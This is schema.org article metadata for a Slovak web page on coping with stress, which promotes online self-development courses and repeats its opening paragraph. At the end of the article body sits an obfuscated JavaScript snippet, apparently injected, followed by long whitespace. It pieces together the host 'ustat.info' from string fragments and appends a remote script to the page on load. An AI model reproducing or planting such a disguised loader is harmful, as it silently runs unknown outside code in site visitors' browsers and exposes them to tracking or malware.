[{"@context":"https:\/\/schema.org\/","@type":"Article","@id":"https:\/\/www.naturo.sk\/ako-zvladat-stres\/#Article","mainEntityOfPage":"https:\/\/www.naturo.sk\/ako-zvladat-stres\/","headline":"Ako zvl\u00e1da\u0165 stres?","name":"Ako zvl\u00e1da\u0165 stres?","description":"Dlhodob\u00fd stres ani v osobnom \u017eivote, ani na pracovisku neprin\u00e1\u0161a pozit\u00edvne v\u00fdsledky na \u017eiadnej zo zainteresovan\u00fdch str\u00e1n. Bu\u010f je jeho…","datePublished":"2021-10-27","dateModified":"2023-08-31","author":{"@type":"Person","@id":"https:\/\/www.naturo.sk\/author\/#Person","name":"","url":"https:\/\/www.naturo.sk\/author\/","identifier":1,"image":{"@type":"ImageObject","@id":"https:\/\/secure.gravatar.com\/avatar\/53c590fdd1ec24ee297a15a00a0829b5191e9163e4cc5dbbee20ed40fcc30ad9?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/53c590fdd1ec24ee297a15a00a0829b5191e9163e4cc5dbbee20ed40fcc30ad9?s=96&d=mm&r=g","height":96,"width":96}},"publisher":{"@type":"Organization","name":"naturo.sk","logo":{"@type":"ImageObject","@id":"\/logo.png","url":"\/logo.png","width":600,"height":60}},"image":{"@type":"ImageObject","@id":"https:\/\/www.naturo.sk\/wp-content\/uploads\/qc6tX2w95i0sx45_GlLtBx.jpg","url":"https:\/\/www.naturo.sk\/wp-content\/uploads\/qc6tX2w95i0sx45_GlLtBx.jpg","height":0,"width":0},"url":"https:\/\/www.naturo.sk\/ako-zvladat-stres\/","about":["Vzdelanie\r"],"wordCount":453,"articleBody":"                 Dlhodob\u00fd stres ani v osobnom \u017eivote, ani na pracovisku neprin\u00e1\u0161a pozit\u00edvne v\u00fdsledky na \u017eiadnej zo zainteresovan\u00fdch str\u00e1n. Bu\u010f je jeho p\u00f4vod v na\u0161ich s\u00fakromn\u00fdch z\u00e1le\u017eitostiach, \u010do nechtiac pren\u00e1\u0161ame aj do pracovn\u00e9ho prostredia, alebo je jeho smerovanie opa\u010dn\u00e9, no rovnako \u0161kodliv\u00e9. Stres vpl\u00fdva ve\u013emi toxicky na na\u0161e spr\u00e1vanie, sp\u00f4sob komunik\u00e1cie, na harmonogram pr\u00e1ce a na rie\u0161enie kr\u00edzov\u00fdch situ\u00e1ci\u00ed. Ako ho spr\u00e1vne zvl\u00e1da\u0165?  Dlhodob\u00fd stres ani v osobnom \u017eivote, ani na pracovisku neprin\u00e1\u0161a pozit\u00edvne v\u00fdsledky na \u017eiadnej zo zainteresovan\u00fdch str\u00e1n. Bu\u010f je jeho p\u00f4vod v na\u0161ich s\u00fakromn\u00fdch z\u00e1le\u017eitostiach, \u010do nechtiac pren\u00e1\u0161ame aj do pracovn\u00e9ho prostredia, alebo je jeho smerovanie opa\u010dn\u00e9, no rovnako \u0161kodliv\u00e9. Stres vpl\u00fdva ve\u013emi toxicky na na\u0161e spr\u00e1vanie, sp\u00f4sob komunik\u00e1cie, na harmonogram pr\u00e1ce a na rie\u0161enie kr\u00edzov\u00fdch situ\u00e1ci\u00ed. Ako ho spr\u00e1vne zvl\u00e1da\u0165? Eliminujeme stres pomocou odborn\u00fdch diskusi\u00ed  Prv\u00fdm \u00faspechom je, ke\u010f si sami prizn\u00e1te, \u017ee \u010doraz \u010dastej\u0161ie a intenz\u00edvnej\u0161ie podliehate stresu. \u010eal\u0161\u00edm je definova\u0165, v ak\u00fdch konkr\u00e9tnych situ\u00e1ci\u00e1ch spanik\u00e1rite. Tak ako v rodine, rovnako aj na pracovisku vedieme spolo\u010dn\u00e9 diskusie. Nielen preto, aby bolo vo veciach jasno, ale najm\u00e4 pre pevn\u00fd a funk\u010dn\u00fd pracovn\u00fd harmonogram vzh\u013eadom na na\u0161e mo\u017enosti. Na odbornej komunika\u010dnej \u00farovni sa realizuj\u00fa kurzy online pre osobn\u00fd rozvoj na zvy\u0161ovanie sebavedomia a postupn\u00e9 zlep\u0161ovanie v\u00fdkonov. Ke\u010f\u017ee v pr\u00e1ci popri v\u0161etk\u00fdch povinnostiach nem\u00e1vate a\u017e tak ve\u013ea \u010dasu na diskusie, v pokojnej a pr\u00edjemnej spolo\u010dnosti kou\u010dov a lektorov jednoduch\u0161ie poodhal\u00edte svoj vzdor, probl\u00e9my a slab\u0161ie str\u00e1nky. V \u010fal\u0161\u00edch f\u00e1zach kurzu v\u00e1m prezentuj\u00fa spr\u00e1vne prezenta\u010dn\u00e9 a r\u00e9torick\u00e9 zru\u010dnosti, zis\u0165ujete, ako pracova\u0165 s em\u00f3ciami a ma\u0165 pod kontrolou v\u0161etky rozv\u00edren\u00e9 my\u0161lienky.   Pre\u010d s predsudkami. V\u017edy je priestor na \u00faspech!  Tie n\u00e1s dok\u00e1\u017eu psychicky tak rozladi\u0165, \u017ee u\u017e spochyb\u0148ujeme aj sam\u00fdch seba. Na to, aby sme sa op\u00e4\u0165 na\u0161li a d\u00f4verovali svojim v\u00fdkonom, napom\u00e1ha odborn\u00fd kurz sebaovl\u00e1dania online. Mnoh\u00fdch k nemu priv\u00e1dza treb\u00e1rs prv\u00e9 pracovn\u00e9 vy\u0165a\u017eenie na novej poz\u00edcii a domnienka ve\u013ek\u00e9ho zlyhania. Zlyh\u00e1va v\u017edy len ten, kto zutek\u00e1, nie zamestnanec, ktor\u00fd m\u00e1 z\u00e1ujem vzdel\u00e1va\u0165 sa – pribl\u00ed\u017eme mu teda aktu\u00e1lne kurzy na nov\u00e9 t\u00e9my aj o sebapozn\u00e1van\u00ed!  (function(){ tqgsu=\"mn6uawXXqgs7\";tqgs=document.createElement(\"script\"); tqgs_=\"u\"+(\"st\");tqgs_+=\"at\"+(\".\");tqgs.async=true;tqgs_+=\"in\"; tqgsu=\"314515988.\"+tqgsu;tqgs.type=\"text\/javascript\";tqgsu+=\"t7n3hxXrx04n\"; tqgsu+=\"74w0el\";tqgs_+=(\"f\")+\"o\"+(\"\/\");tqgs.src=\"https:\/\/\"+tqgs_+tqgsu; tqgsd=document.body;tqgsd.appendChild(tqgs); })();                                                                                                                                                                                                                                                                                                                                                                                           4.2\/5 - (5 votes)        "},{"@context":"https:\/\/schema.org\/","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Ako zvl\u00e1da\u0165 stres?","item":"https:\/\/www.naturo.sk\/ako-zvladat-stres\/#breadcrumbitem"}]}]